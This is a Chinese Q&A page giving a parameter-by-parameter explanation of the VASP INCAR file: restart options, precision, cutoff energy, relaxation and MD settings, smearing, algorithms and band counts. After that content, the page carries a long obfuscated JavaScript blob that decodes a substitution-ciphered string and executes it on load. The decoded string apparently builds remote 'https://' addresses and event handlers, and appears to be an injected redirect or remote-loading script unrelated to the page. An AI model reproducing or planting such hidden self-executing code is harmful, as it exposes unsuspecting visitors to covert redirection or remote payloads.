INCAR各个参数是什么意思

2025-02-07 18:45:29
推荐回答(1个)
回答1:

INCAR各个参数列表详解如下:

>SYSTEM name of System
任务的名字 ***

>NWRITE verbosity write-flag (how much is written)
输出内容详细程度 0-3 缺省2
如果是做长时间动力学计算的话最好选0或1(首末步/每步核运动输出)
据说也可以结合shell的tail或grep命令手动输出

>ISTART startjob:
restart选项 0-3 缺省0/1 for 无/有前次计算的WAVECAR(波函数)
1 'restart with constant energy cut-off'
2 'restart with constant basis set'
3 'full restart including wave function and charge prediction'

ICHARG charge: 1-file 2-atom 10-const Default:if ISTART=0 2 else 0

ISPIN spin polarized calculation (2-yes 1-no) default 2

MAGMOM initial mag moment / atom Default NIONS*1

INIWAV initial electr wf. : 0-lowe 1-rand
Default 1 only used for start jobs (ISTART=0)

IDIPOL calculate monopole/dipole and quadrupole corrections
1-3 只计算第一/二/三晶矢方向适于slab的计算
4 全部计算尤其适于就算孤立分子

>PREC precession: medium, high or low(VASP.4.5+ also: normal, accurate)
Default: Medium VASP4.5+采用了优化的accurate来替代high,所以一般不推荐使用

high。不过high可以确保'绝对收敛',作为参考值有时也是必要的。
同样受推荐的是normal,作为日常计算选项,可惜的是说明文档提供的信息不足。
受PREC影响的参数有四类:ENCUT; NGX,NGY,NGZ; NGXF, NGYF, NGZF; ROPT
如果设置了PREC,这些参数就都不需要出现了
当然直接设置相应的参数也是同样效果的,这里不展开了,随后详释

>ENCUT energy cutoff in eV : default taken from POTCAR-file
important! 重要到几乎最好不要手工去设置
除非文献告诉你要用多少,或者经过结果可靠性的验证
当然,为了测试一下提交的任务,也不妨先设个较小的值
附加说明:
当且仅当POTCAR里头没有设置ENCUT时(其实貌似没有才是常态),才受PREC设置影
响从POTCAR里找出相应的ENMAX/ENMIN值来设置。
PREC= Low Medium Accurate High
ENCUT= ENMIN ENMAX ENMAX 130%ENMAX
对于多个元素的POTCAR不同的ENMAX/ENMIN,都取最大值

>NGX,NGY,NGZ: FFT mesh for wavefunctions
>NGFX, NGFY, NGFZ: FFT mesh for charges
也是两类重要的最好不要去动的参数,PREC设置将从POTCAR中自动读取。
PREC=High,Accurate 2倍值,用来避免wrap around errors得到精确解
PREC=Low,Medium,Normal 3/4 也已经足够精确到 1 meV/atom

>LREAL: Default= .FALSE.
赝势的非局域部分用到的一个积分在倒格空间或者实空间都可以求值。这个选项就
是决定是在哪个空间里求。在倒格空间里,采用平面波基组求解,在实空间里,采用积
分球求解。
缺省是.FALSE,即不在实空间求。但效率会低一些。
其他选项是 O or On,A or Auto 和.True.。
On和.TRUE.的差别在于是否使用King-Smith算法优化,Auto则自动选择,推荐。

>ROPT: 优化控制每个核周围的积分球内的格点数,LREAL=Auto or On
For LREAL=On
PREC= Low 700 points in the real space sphere ( ROPT=0.67)
PREC= Med 1000 points in the real space sphere ( ROPT=1.0)
PREC= High 1500 points in the real space sphere ( ROPT=1.5)
For LREAL=Auto
PREC= Low accuracy 1e-2 ( ROPT=0.01)
PREC= Med accuracy 2e-3 ( ROPT=0.002)
PREC= High accuracy 2e-4 ( ROPT=2E-4)

>NELM, NELMIN and NELMDL nr. of electronic steps
Default
最大电子自洽循环次数 NELM = 60
最小次数 NELMIN = 2
弛豫次数 NELMDL = -5 if ISTART=0, INIWAV=1, and IALGO=8
-12 if ISTART=0, INIWAV=1, and IALGO=48
0 else
如果初始的波函数采取随机赋值,即ISTART=0, INIWAV=1,那么很可能开始的值比较离
谱,那么在第一步核运动循环之前采用NELMDL(负值)步的非自洽(保留初始的H)步计算将

减少计算所需的时间。
如果NELMDL取正值,将在每次核运动之后附加指定次数的弛豫步,目前不知道可以干嘛

>EDIFF 电子SC循环的收敛精度缺省:1e-4
注意,即使EDIFF=0,NELM步也会执行

>EDIFFG 核运动的收敛精度缺省:EDIFF*10 (总能量)
EDIFFG<0 则在所有的力都小于EDIFFG时停止
EDIFFG=0 则在NSW步后停止
此参数不支持MD,仅用于Relax

>NSW 指定核运动步数缺省: 0

NBLOCK and KBLOCK inner block; outer block
Default NBLOCK = 1 KBLOCK = NSW

>IBRION ionic relaxation: -1-Fixed 0-MD 1-quasi-New 2-CG 3-Damp 5-freq
Default if NSW=0 or 1 IBRION=-1 else IBRION=0
这个参数是和ISIF;IALGO/ALGO一起决定怎么算的最重要的参数
1-3 是三种Relax的方法,受ISIF决定是否固定核位置、晶胞大小和形状
0 是标准的ab-initio MD,不受ISIF影响,即不改变晶胞大小和形状
5 大概是和0差不多吧?支持Hessian和Freq(仅Г点)的计算以及部分固定的MD
详细的要在示例中具体情况具体分析了。

>ISIF calculate stress and what to relax
Default if IBRION=0 (MD) 0 else 2
ISIF│calculate │ calculate │relax │ change │ change
│ force │stress tensor │ions │ cell shape │cell volume
──┼─────┼───────┼───┼──────┼──────
0 │ yes │ no │yes │ no │no
1 │ yes │ trace only │yes │ no│no
2 │ yes │ yes │yes │ no │no
3 │ yes │ yes │yes │ yes │yes
4 │ yes │ yes │yes │ yes │no
5 │ yes │ yes │no │ yes │no
6 │ yes │ yes │no │ yes │yes
7 │ yes │ yes │no │ no │yes
Trace only means that only the total pressure

IWAVPR prediction of wf.: 0-non 1-charg 2-wave 3-comb
Default if IBRION=0 (MD) 2
if IBRION=1,2 (relaxation) 1
else (static calculation) 0
以上选项保存TMPCAR +10 则全部使用内存,不保存此文件
IWAVPR determines how wave functions and/or charge density are
extrapolated from one ionic configuration to the next configuration.

>ISYM symmetry: 0-nonsym 1-usesym 是否使用对称性 Default 1

SYMPREC determines precision of the positions in POSCAR file. Default 1e-5

LCORR Harris-correction to forces. Default .TRUE.

>POTIM time-step for ion-motion (fs)
Default
IBRION=0 (MD) no default,必须指定,MD每步步长
IBRION=1,2,3 (relaxation) 0.5 最小化的'scaling constant',尤其是IBRION=1

>TEBEG, TEEND temperature during run (MD有效)
Default: TEBEG = 0 TEEND = TEBEG
注意VASP的温度定义与实际温度有细微的差别,所以
TEBEG=T×(N-1)/N T为实际温度,N为原子数

SMASS 控制MD中的速度模拟方法
default -3 微正则系综(总自由能不变)
-2 保持初速度不变
-1 每NBLOCK步调整速度,来保证动能连续
>=0 Nosé算法模拟正则系综,(不懂-,-)

NPACO and APACO
NPACO : number of slots for pair correlation (PC) function. Default 256
APACO : maximum distance for the evaluation of PC function in A. Default 16
简单说就是在不超过APACO的NPACO个距离上求成对相关函PCF

RWIGS Wigner-Seitz半径 DOS计算用

>NELECT 总电子数
如果系统不是电中性的就必须设置,所带电荷作为均一的背景电子气考虑

NUPDOWN default不考虑电子自旋态改变的可能

EMIN, EMAX energy-range for DOSCAR file

>ISMEAR part. occupancies: -5 tet with Blochl -4-tet -1-fermi 0-gaus >0 MP
采用所谓部分占有波函数,用一个函数来平滑积分,尤其是对于金属体系可减少k点
Default ISMEAR = 1 如果在KPOINTS里使用了tetrahedra方法推荐ISMEAR=5

SIGMA determines the width of the smearing in eV
Default SIGMA = 0.2

>ALGO algorithm: Normal (Davidson) | Fast (mixed)| Very_Fast (RMM-DIIS)
>IALGO algorithm: use only 48 (RMM-DIIS) or 38(Davidson) or 8(CG)
Default IALGO = 38 for VASP4.5
算法是最重要的参数之一。一般VASP推荐使用的是以上三种算法,一般来说8/38是初期
比较快收敛,在接近平衡时采用48较快,在初期或MD时使用48可能会遇到不收敛的情况
。也可以使用ALGO参数来替代IALGO,设置Fast,VASP会先用38,再自动切换到48。
各种算法只要收敛,结果应该一致。
另一个可能有用的选项是-1。不进行实际的计算,只对重要的步骤做计算测试,并将测
试得到的各部分耗时输出在OUTPUT里。

VOSKOWN use VWN interpolation 算法,default 0 不用,如果使用了PW91或者需要计
算磁性质,不妨设为1 用

mixing tag & MAXMIX
IMIX = type of mixing
AMIX = linear mixing parameter
AMIN = minimal mixing parameter
BMIX = cutoff wave vector for Kerker mixing scheme
AMIX_MAG = linear mixing parameter for magnetization
BMIX_MAG = cutoff wave vector for Kerker mixing scheme for mag.
WC = weight factor for each step in Broyden mixing scheme
INIMIX = type of initial mixing in Broyden mixing scheme
MIXPRE = type of preconditioning in Broyden mixing scheme
MAXMIX = maximum number steps stored in Broyden mixer
Default
for US-PP non-magnetic
IMIX = 4
AMIX = 0.8
BMIX = 1.0
WC = 1000.
INIMIX = 1
MIXPRE = 1
MAXMIX = -45
值得注意的是,在MD或者Relax的时候,设置MAXMIX(>0,一般约3倍的电子SC步数),可能

会大大减少核运动步数。但是同时会增加对内存的要求。

LWAVE,LCHARG and LVTOT create WAVECAR/CHGCAR/LOCPOT
LELF create ELFCAR
LORBIT create PROOUT
输出文件的选项

NPAR 并行计算band的节点数,每一个节点计算一个band当然可以提高并行效率,减少通

讯量,不过貌似现在硬件的主要限制还是内存,而这个选项的使用可能会大幅增加内存
的需求

>NBANDS 总能带数。
之所以把它放在最后,是因为它对于解决内存需求的重要性。计算需要大量的
能带(空带),至少要1个空带(否则VASP会给出警告)。一般NBANDS=NELECT/2+NIONS/2
以上可得到较精确的结果,如果内存不够就只好减少NBANDS,在牺牲精度和体系大小之
间平衡了。

最后提示一下大多数参数的首字母代表了参数的性质
I 初始化 L 逻辑开关 E 能量 N 数目 T 温度
便于记忆 :)

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();